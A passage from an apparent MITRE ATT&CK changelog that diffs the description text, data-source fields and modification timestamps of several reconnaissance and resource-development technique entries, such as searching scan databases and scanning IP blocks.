| > | tionable information. Threat actors can use online resources | > | ctors can use online resources and lookup tools to harvest i | ||
| > | and lookup tools to harvest information from these services | > | nformation from these services. Adversaries may seek informa | ||
| > | . Adversaries may seek information about their already ident | > | tion about their already identified targets, or use these da | ||
| > | ified targets, or use these datasets to discover opportuniti | > | tasets to discover opportunities for successful breaches. In | ||
| > | es for successful breaches. Information from these sources m | > | formation from these sources may reveal opportunities for ot | ||
| > | ay reveal opportunities for other forms of reconnaissance (e | > | her forms of reconnaissance (ex: [Active Scanning](https://a | ||
| > | x: [Active Scanning](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1595) or [Search Open Websites/D | ||
| > | 95) or [Search Open Websites/Domains](https://attack.mitre.o | > | omains](https://attack.mitre.org/techniques/T1593)), establi | ||
| > | rg/techniques/T1593)), establishing operational resources (e | > | shing operational resources (ex: [Develop Capabilities](http | ||
| > | x: [Develop Capabilities](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1587) or [Obtain Capabiliti | ||
| > | s/T1587) or [Obtain Capabilities](https://attack.mitre.org/t | > | es](https://attack.mitre.org/techniques/T1588)), and/or init | ||
| > | echniques/T1588)), and/or initial access (ex: [External Remo | > | ial access (ex: [External Remote Services](https://attack.mi | ||
| > | te Services](https://attack.mitre.org/techniques/T1133) or [ | > | tre.org/techniques/T1133) or [Exploit Public-Facing Applicat | ||
| > | Exploit Public-Facing Application](https://attack.mitre.org/ | > | ion](https://attack.mitre.org/techniques/T1190)). | ||
| > | techniques/T1190)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:20:18.786000+00:00 | 2021-04-15 03:49:49.260000+00:00 |
| description | Before compromising a victim, adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may scan victim IP | t | 1 | Adversaries may scan victim IP blocks to gather information |
| > | blocks to gather information that can be used during target | > | that can be used during targeting. Public IP addresses may b | ||
| > | ing. Public IP addresses may be allocated to organizations b | > | e allocated to organizations by block, or a range of sequent | ||
| > | y block, or a range of sequential addresses. Adversaries ma | > | ial addresses. Adversaries may scan IP blocks in order to [ | ||
| > | y scan IP blocks in order to [Gather Victim Network Informat | > | Gather Victim Network Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1590), such as whi | > | techniques/T1590), such as which IP addresses are actively i | ||
| > | ch IP addresses are actively in use as well as more detailed | > | n use as well as more detailed information about hosts assig | ||
| > | information about hosts assigned these addresses. Scans may | > | ned these addresses. Scans may range from simple pings (ICMP | ||
| > | range from simple pings (ICMP requests and responses) to mo | > | requests and responses) to more nuanced scans that may reve | ||
| > | re nuanced scans that may reveal host software/versions via | > | al host software/versions via server banners or other networ | ||
| > | server banners or other network artifacts.(Citation: Botnet | > | k artifacts.(Citation: Botnet Scan) Information from these s | ||
| > | Scan) Information from these scans may reveal opportunities | > | cans may reveal opportunities for other forms of reconnaissa | ||
| > | for other forms of reconnaissance (ex: [Search Open Websites | > | nce (ex: [Search Open Websites/Domains](https://attack.mitre | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593) or [Sea | > | .org/techniques/T1593) or [Search Open Technical Databases]( | ||
| > | rch Open Technical Databases](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1596)), establishing op | ||
| > | iques/T1596)), establishing operational resources (ex: [Deve | > | erational resources (ex: [Develop Capabilities](https://atta | ||
| > | lop Capabilities](https://attack.mitre.org/techniques/T1587) | > | ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http | ||
| > | or [Obtain Capabilities](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1588)), and/or initial acce | ||
| > | s/T1588)), and/or initial access (ex: [External Remote Servi | > | ss (ex: [External Remote Services](https://attack.mitre.org/ | ||
| > | ces](https://attack.mitre.org/techniques/T1133)). | > | techniques/T1133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:06:09.139000+00:00 | 2021-04-15 03:19:38.469000+00:00 |
| description | Before compromising a victim, adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 13:45:03.730000+00:00 | 2020-12-30 14:26:44.730000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Modification |
| x_mitre_data_sources[3] | Windows event logs | Process: Process Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search and gat | t | 1 | Adversaries may search and gather information about victims |
| > | her information about victims from closed sources that can b | > | from closed sources that can be used during targeting. Infor | ||
| > | e used during targeting. Information about victims may be av | > | mation about victims may be available for purchase from repu | ||
| > | ailable for purchase from reputable private sources and data | > | table private sources and databases, such as paid subscripti | ||
| > | bases, such as paid subscriptions to feeds of technical/thre | > | ons to feeds of technical/threat intelligence data.(Citation | ||
| > | at intelligence data.(Citation: D3Secutrity CTI Feeds) Adver | > | : D3Secutrity CTI Feeds) Adversaries may also purchase infor | ||
| > | saries may also purchase information from less-reputable sou | > | mation from less-reputable sources such as dark web or cyber | ||
| > | rces such as dark web or cybercrime blackmarkets.(Citation: | > | crime blackmarkets.(Citation: ZDNET Selling Data) Adversari | ||
| > | ZDNET Selling Data) Adversaries may search in different clo | > | es may search in different closed databases depending on wha | ||
| > | sed databases depending on what information they seek to gat | > | t information they seek to gather. Information from these so | ||
| > | her. Information from these sources may reveal opportunities | > | urces may reveal opportunities for other forms of reconnaiss | ||
| > | for other forms of reconnaissance (ex: [Phishing for Inform | > | ance (ex: [Phishing for Information](https://attack.mitre.or | ||
| > | ation](https://attack.mitre.org/techniques/T1598) or [Search | > | g/techniques/T1598) or [Search Open Websites/Domains](https: | ||
| > | Open Websites/Domains](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1593)), establishing operatio | ||
| > | T1593)), establishing operational resources (ex: [Develop Ca | > | nal resources (ex: [Develop Capabilities](https://attack.mit | ||
| > | pabilities](https://attack.mitre.org/techniques/T1587) or [O | > | re.org/techniques/T1587) or [Obtain Capabilities](https://at | ||
| > | btain Capabilities](https://attack.mitre.org/techniques/T158 | > | tack.mitre.org/techniques/T1588)), and/or initial access (ex | ||
| > | 8)), and/or initial access (ex: [External Remote Services](h | > | : [External Remote Services](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1133) or [Valid Accounts | > | ques/T1133) or [Valid Accounts](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1078)). | > | hniques/T1078)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:15:53.892000+00:00 | 2021-04-15 03:45:31.020000+00:00 |
| description | Before compromising a victim, adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may use search eng | t | 1 | Adversaries may use search engines to collect information ab |
| > | ines to collect information about victims that can be used d | > | out victims that can be used during targeting. Search engine | ||
| > | uring targeting. Search engine services typical crawl online | > | services typical crawl online sites to index context and ma | ||
| > | sites to index context and may provide users with specializ | > | y provide users with specialized syntax to search for specif | ||
| > | ed syntax to search for specific keywords or specific types | > | ic keywords or specific types of content (i.e. filetypes).(C | ||
| > | of content (i.e. filetypes).(Citation: SecurityTrails Google | > | itation: SecurityTrails Google Hacking)(Citation: ExploitDB | ||
| > | Hacking)(Citation: ExploitDB GoogleHacking) Adversaries ma | > | GoogleHacking) Adversaries may craft various search engine | ||
| > | y craft various search engine queries depending on what info | > | queries depending on what information they seek to gather. T | ||
| > | rmation they seek to gather. Threat actors may use search en | > | hreat actors may use search engines to harvest general infor | ||
| > | gines to harvest general information about victims, as well | > | mation about victims, as well as use specialized queries to | ||
| > | as use specialized queries to look for spillages/leaks of se | > | look for spillages/leaks of sensitive information such as ne | ||
| > | nsitive information such as network details or credentials. | > | twork details or credentials. Information from these sources | ||
| > | Information from these sources may reveal opportunities for | > | may reveal opportunities for other forms of reconnaissance | ||
| > | other forms of reconnaissance (ex: [Phishing for Information | > | (ex: [Phishing for Information](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1598) or [Search Open | > | hniques/T1598) or [Search Open Technical Databases](https:// | ||
| > | Technical Databases](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1596)), establishing operationa | ||
| > | 596)), establishing operational resources (ex: [Establish Ac | > | l resources (ex: [Establish Accounts](https://attack.mitre.o | ||
| > | counts](https://attack.mitre.org/techniques/T1585) or [Compr | > | rg/techniques/T1585) or [Compromise Accounts](https://attack | ||
| > | omise Accounts](https://attack.mitre.org/techniques/T1586)), | > | .mitre.org/techniques/T1586)), and/or initial access (ex: [V | ||
| > | and/or initial access (ex: [Valid Accounts](https://attack. | > | alid Accounts](https://attack.mitre.org/techniques/T1078) or | ||
| > | mitre.org/techniques/T1078) or [Phishing](https://attack.mit | > | [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | re.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:22:11.245000+00:00 | 2021-04-15 03:52:06.960000+00:00 |
| description | Before compromising a victim, adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search freely | t | 1 | Adversaries may search freely available technical databases |
| > | available technical databases for information about victims | > | for information about victims that can be used during target | ||
| > | that can be used during targeting. Information about victims | > | ing. Information about victims may be available in online da | ||
| > | may be available in online databases and repositories, such | > | tabases and repositories, such as registrations of domains/c | ||
| > | as registrations of domains/certificates as well as public | > | ertificates as well as public collections of network data/ar | ||
| > | collections of network data/artifacts gathered from traffic | > | tifacts gathered from traffic and/or scans.(Citation: WHOIS) | ||
| > | and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citat | > | (Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citati | ||
| > | ion: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: | > | on: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: | ||
| > | SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: | > | DigitalShadows CDN)(Citation: Shodan) Adversaries may searc | ||
| > | Shodan) Adversaries may search in different open databases | > | h in different open databases depending on what information | ||
| > | depending on what information they seek to gather. Informati | > | they seek to gather. Information from these sources may reve | ||
| > | on from these sources may reveal opportunities for other for | > | al opportunities for other forms of reconnaissance (ex: [Phi | ||
| > | ms of reconnaissance (ex: [Phishing for Information](https:/ | > | shing for Information](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1598) or [Search Open Websites | > | 1598) or [Search Open Websites/Domains](https://attack.mitre | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593)), estab | > | .org/techniques/T1593)), establishing operational resources | ||
| > | lishing operational resources (ex: [Acquire Infrastructure]( | > | (ex: [Acquire Infrastructure](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1583) or [Compromise In | > | iques/T1583) or [Compromise Infrastructure](https://attack.m | ||
| > | frastructure](https://attack.mitre.org/techniques/T1584)), a | > | itre.org/techniques/T1584)), and/or initial access (ex: [Ext | ||
| > | nd/or initial access (ex: [External Remote Services](https:/ | > | ernal Remote Services](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1133) or [Trusted Relationship | > | 1133) or [Trusted Relationship](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1199)). | > | hniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:20:44.166000+00:00 | 2021-04-15 03:50:44.308000+00:00 |
| description | Before compromising a victim, adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search freely | t | 1 | Adversaries may search freely available websites and/or doma |
| > | available websites and/or domains for information about vict | > | ins for information about victims that can be used during ta | ||
| > | ims that can be used during targeting. Information about vic | > | rgeting. Information about victims may be available in vario | ||
| > | tims may be available in various online sites, such as socia | > | us online sites, such as social media, new sites, or those h | ||
| > | l media, new sites, or those hosting information about busin | > | osting information about business operations such as hiring | ||
| > | ess operations such as hiring or requested/rewarded contract | > | or requested/rewarded contracts.(Citation: Cyware Social Med | ||
| > | s.(Citation: Cyware Social Media)(Citation: SecurityTrails G | > | ia)(Citation: SecurityTrails Google Hacking)(Citation: Explo | ||
| > | oogle Hacking)(Citation: ExploitDB GoogleHacking) Adversari | > | itDB GoogleHacking) Adversaries may search in different onl | ||
| > | es may search in different online sites depending on what in | > | ine sites depending on what information they seek to gather. | ||
| > | formation they seek to gather. Information from these source | > | Information from these sources may reveal opportunities for | ||
| > | s may reveal opportunities for other forms of reconnaissance | > | other forms of reconnaissance (ex: [Phishing for Informatio | ||
| > | (ex: [Phishing for Information](https://attack.mitre.org/te | > | n](https://attack.mitre.org/techniques/T1598) or [Search Ope | ||
| > | chniques/T1598) or [Search Open Technical Databases](https:/ | > | n Technical Databases](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1596)), establishing operation | > | 1596)), establishing operational resources (ex: [Establish A | ||
| > | al resources (ex: [Establish Accounts](https://attack.mitre. | > | ccounts](https://attack.mitre.org/techniques/T1585) or [Comp | ||
| > | org/techniques/T1585) or [Compromise Accounts](https://attac | > | romise Accounts](https://attack.mitre.org/techniques/T1586)) | ||
| > | k.mitre.org/techniques/T1586)), and/or initial access (ex: [ | > | , and/or initial access (ex: [External Remote Services](http | ||
| > | External Remote Services](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1133) or [Phishing](https:/ | ||
| > | s/T1133) or [Phishing](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1566)). | ||
| > | 1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:22:46.374000+00:00 | 2021-04-15 03:52:41.104000+00:00 |
| description | Before compromising a victim, adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search website | t | 1 | Adversaries may search websites owned by the victim for info |
| > | s owned by the victim for information that can be used durin | > | rmation that can be used during targeting. Victim-owned webs | ||
| > | g targeting. Victim-owned websites may contain a variety of | > | ites may contain a variety of details, including names of de | ||
| > | details, including names of departments/divisions, physical | > | partments/divisions, physical locations, and data about key | ||
| > | locations, and data about key employees such as names, roles | > | employees such as names, roles, and contact info (ex: [Email | ||
| > | , and contact info (ex: [Email Addresses](https://attack.mit | > | Addresses](https://attack.mitre.org/techniques/T1589/002)). | ||
| > | re.org/techniques/T1589/002)). These sites may also have det | > | These sites may also have details highlighting business ope | ||
| > | ails highlighting business operations and relationships.(Cit | > | rations and relationships.(Citation: Comparitech Leak) Adve | ||
| > | ation: Comparitech Leak) Adversaries may search victim-owne | > | rsaries may search victim-owned websites to gather actionabl | ||
| > | d websites to gather actionable information. Information fro | > | e information. Information from these sources may reveal opp | ||
| > | m these sources may reveal opportunities for other forms of | > | ortunities for other forms of reconnaissance (ex: [Phishing | ||
| > | reconnaissance (ex: [Phishing for Information](https://attac | > | for Information](https://attack.mitre.org/techniques/T1598) | ||
| > | k.mitre.org/techniques/T1598) or [Search Open Technical Data | > | or [Search Open Technical Databases](https://attack.mitre.or | ||
| > | bases](https://attack.mitre.org/techniques/T1596)), establis | > | g/techniques/T1596)), establishing operational resources (ex | ||
| > | hing operational resources (ex: [Establish Accounts](https:/ | > | : [Establish Accounts](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1585) or [Compromise Accounts] | > | 1585) or [Compromise Accounts](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1586)), and/or initial | > | niques/T1586)), and/or initial access (ex: [Trusted Relation | ||
| > | access (ex: [Trusted Relationship](https://attack.mitre.org | > | ship](https://attack.mitre.org/techniques/T1199) or [Phishin | ||
| > | /techniques/T1199) or [Phishing](https://attack.mitre.org/te | > | g](https://attack.mitre.org/techniques/T1566)). | ||
| > | chniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:23:37.282000+00:00 | 2021-04-15 03:53:33.023000+00:00 |
| description | Before compromising a victim, adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
| x_mitre_data_sources[0] | Web logs | Application Log: Application Log Content |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party servers that can be u |
| > | rd-party servers that can be used during targeting. Use of s | > | sed during targeting. Use of servers allows an adversary to | ||
| > | ervers allows an adversary to stage, launch, and execute an | > | stage, launch, and execute an operation. During post-comprom | ||
| > | operation. During post-compromise activity, adversaries may | > | ise activity, adversaries may utilize servers for various ta | ||
| > | utilize servers for various tasks, including for Command and | > | sks, including for Command and Control. Instead of purchasin | ||
| > | Control. Instead of purchasing a [Server](https://attack.mi | > | g a [Server](https://attack.mitre.org/techniques/T1583/004) | ||
| > | tre.org/techniques/T1583/004) or [Virtual Private Server](ht | > | or [Virtual Private Server](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1583/003), adversaries ma | > | ues/T1583/003), adversaries may compromise third-party serve | ||
| > | y compromise third-party servers in support of operations. | > | rs in support of operations. Adversaries may also compromis | ||
| > | Adversaries may also compromise web servers to support water | > | e web servers to support watering hole operations, as in [Dr | ||
| > | ing hole operations, as in [Drive-by Compromise](https://att | > | ive-by Compromise](https://attack.mitre.org/techniques/T1189 | ||
| > | ack.mitre.org/techniques/T1189). | > | ). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-12 19:48:07.710000+00:00 | 2021-04-15 03:03:22.184000+00:00 |
